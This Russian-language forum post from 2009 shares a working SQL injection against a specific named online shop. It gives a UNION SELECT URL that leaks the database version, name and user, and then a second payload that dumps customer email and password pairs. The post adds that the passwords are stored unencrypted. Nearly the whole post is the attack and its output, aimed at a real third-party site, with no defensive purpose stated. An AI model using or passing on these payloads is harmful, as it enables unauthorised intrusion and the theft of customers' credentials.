18.02.2009, 18:31
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948
Репутация:
325
|
|
icgadget.ca
Код:
http://www.icgadget.ca/shop.php?Cat_ID=19&SubCat_ID=-28+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user()),4/*
DB_Ver:4.1.22-standard-log
DB:icgadget_icgadget
DB_User:icgadget_icgadge@localhost
Табличка с пользователями customers поля в ней:
email
password
пример запроса:
Код:
http://www.icgadget.ca/shop.php?Cat_ID=19&SubCat_ID=-28+UNION+SELECT+1,2,concat_ws(0x3a,email,password),4+from+customers+limit+0,1/*
пароли ничем не шифрованны =)
Последний раз редактировалось Kraneg; 18.02.2009 в 18:33..
|
|
|